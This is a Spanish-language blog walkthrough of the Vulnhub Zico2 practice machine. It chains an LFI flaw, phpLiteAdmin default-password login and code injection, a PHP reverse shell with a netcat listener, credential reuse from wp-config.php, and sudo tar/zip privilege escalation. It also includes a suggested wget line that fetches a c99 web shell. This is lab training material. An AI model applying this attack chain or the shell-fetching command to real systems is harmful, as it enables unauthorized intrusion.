Walkthrough Zico2: 1 Vulnhub

No Comments
Nuevamente con un nuevo reto de Vulnhub, despues de mucho tiempo sin estar rompiendo estos entornos en modo de práctica...



Los datos que nos brinda en la máquina virtual es el siguiente:

Description:
Zico is trying to build his website but is having some trouble in choosing what CMS to use. After some tries on a few popular ones, he decided to build his own. Was that a good idea?
Hint: Enumerate, enumerate, and enumerate!
Thanks to: VulnHub
Author: Rafael (@rafasantos5)

Doesn't work with VMware. Virtualbox only.


Lo primero que realizamos es identificar los equipos vivos con NMAP


Ya identificando el objetivo realizamos un barrido de puertos, con el fin de identificar las versiones exactas de los servicios que cuenta, y de esta manera proceder con nuestro objetivo, en este caso se identificaron dos puertos el 80 y 22 pertenecientes a HTTP y SSH

Lo primero que corresponde en este caso es acceder al servicio web y ver que tenemos corriendo


Desde hace un par de años aproximadamente considero como mi herramienta principal en aplicaciones WEB a Burp Suite, una de las primeras tareas es la ejecucion del crawler para realizar el reconocimiento y descubrimiento de directorios. Identificando el siguiente parámetro /view.php?page= se veia un buen LFI Local File Inclusion, debido a que tiene como referencia a un fichero html que es tools.html.


El siguiente paso que realize como PoC es acceder al index.html quedando de la siguiente manera /view.php?page=index.html viendo que era existoso se llego a obtener el fichero passwd, como tenemos a continuación.


OJO PIOJO: En esta etapa tambien es posible utilizar Fuzzing - JHADDIX_LFI.txt para realizar un fuzzing directamente y ver si obtenemos algun dato importante.


El siguiente paso es tratar de identificar algun fichero que nos sirva para obtener información sensible como ser un config.php, db-config.php e incluso algun backup que ande suelte en la web, para eso procedemos a ejecutar un reconocimiento de directorios, y como era de esperar utilizare el intruder de Burp Suite, con el diccionario de dirb common.txt como se muestra a continuación. 

Configuración en el request

ATENCIÓN: Considera que es posible realizar este mismo proceso con Discover Content de BurpSuite o bien con DIRB, Dirbuster para identificar directorios, y el uso del INTRUDER es únicamente mi punto de vista y mi manera de trabajar con BurpSuite,



Si vemos el resultado lo que llama la atención son los 200 y 301 y en especial el dbadmin, una vez ingresando por el navegador tenemos un test_db.php.




Al acceder tenemos el login de PHPLiteAdmin, y un formulario de Login que únicamente nos pide un usuario en este punto lo que se realizo fue de manera automática ingresar admin ya que es lo primero que siempre intento y vaya sorpresa que el resultado fue exitoso.



TIP - Sugerencia: Lo que debes de tener en cuenta cuando en un entorno real, es buscar en internet contraseñas por defecto muchas veces no se cambia o se deja como viene de fábrica.


El siguiente paso es identificar si esta versión de PHPLiteAdmin cuenta con alguna vulnerabilidad como vimos anteriormente en el blog, usamos SearchSploit para ver si se tiene alguna vulnerabilidad y vaya sorpresa evidentemente la versión actual es vulnerable.



Si vemos la especificación del mismo nos indica que nos permite crear una base de datos y con ella al crear una tabla con datos adicionales llegamos a realizar una inyección de Código.

Primero para verificar unicamente llamos un phpinfo() y vemos que si es posible explotar.



Si vemos a continuación daremos uso al LFI identificado con anterioridad, al momento de crear la base de datos tenemos el directorio, /usr/databases/ al acceder tenemos la información respectiva de PHP.



El siguiente paso es realizar un reverse Shell con PHP, como vemos en la siguiente captura se tiene el código


En este caso usare netcat para estar a la escucha con el comando:

nc -lvp 443


PIENSA DIFERENTE: Esta manera de explotar que realize con PHP y ejecutar una shell reversa, puede tener diferentes variantes como ser la descarga de una Shell desde un Servidor system("wget -c http://c99.php") o bien crear una con Metasploit, weevely e incluso llamando a un NETCAT, el límite a esto lo pone tu imaginación.

En los comentarios que nos brinda, la máquina nos dice claramente que la clave esta en el reconocimiento por lo tanto me dispuse a navegar con la terminal entre los diferentes directorios del servidor, hasta que llegue a home/zico al ingresar veo que existe un to_do.txt.


Tras navegar entre los directorios de wordpress y Joomla se identifico en el wordpress el fichero de configuración. wp-config.php.


El resultado del mismo es el siguiente, donde tenemos un usuario y contraseña en este punto para que nos puede servir?, recuerdan el SSH porque no intentar y ver si llegamos a acceder, el resultado del mismo es exitoso, pero como vemos a continuación aun no tenemos root en el servidor, para ello ejecutamos sudo -l y verificamos si esta debidamente configurado el SUDO.


Se ve que tenemos como root dos opciones para ejecutar tar y zip y no pide la contraseña, asi que tras revisar un poco identifique el siguiente gist en el cual se explica como obtener una shell con tar y zip respectivamente.


Una ves logrado se tiene acceso de root y por lo tanto accedemos a la flag.txt, tenemos también la opción de hacer un reconocimiento de la versión del Kernel por ejemplo y proceder a escalar privilegios https://www.exploit-db.com/exploits/26131/

Recién estos dias aprendí a llegar a obtener shells por medio de las BAD sudo config gracias a Monr4 por la explicación que tuvo, esta es la primera vez que llego a escalar privilegios de esta manera, algo que tenia como pendiente aprenderlo y ahora ya creo que voy afianzando mis conocimientos aun mas. Durante el proceso de la elaboración de la máquina virtual bueno resolución, el tiempo que me tomo en resolver la máquina fue de 1:30 minutos ya que andaba varado en este punto de escalar privilegios.

"Toda lectura debe ir acompañada de meditación, es la única manera de encontrar en los libros lo que otros no supieron hallar en ellos" Levay


Regards,
Snifer

0 comentarios

Publicar un comentario